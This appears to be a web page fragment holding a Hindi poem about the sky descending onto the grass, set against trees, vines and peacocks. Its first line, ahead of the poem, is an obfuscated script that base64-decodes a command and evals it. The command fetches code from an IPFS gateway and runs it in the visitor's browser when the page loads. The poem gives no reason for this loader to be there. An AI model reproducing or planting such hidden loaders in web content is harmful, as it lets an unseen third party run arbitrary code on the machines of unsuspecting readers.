<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
क्या आकाश उतर आया है,
दूबों के दरबार में,
नीली भूमि हरि हो आई,
इस किरणों के ज्वार में।
क्या देखें तरुओं को, उनके
फूल लाल अंगारे हैं,
वन के विजन भिखारी ने,
वसुधा में हाथ पसारे हैं।
नक्शा उतर गया है, बेलों
की अलमस्त जवानी का
युद्ध ठना, मोती की लड़ियों
से दूबों के पानी का।
तुम न नृत्य कर उठो मयूरी,
दूबों की हरियाली पर,
हंस तरस खायें, उस -
मुक्ता बोने वाले माली पर।
ऊँचाई यों फिसल पड़ी है,
नीचाई के प्यार में,
क्या आकाश उतर आया है,
दूबों के दरबार में?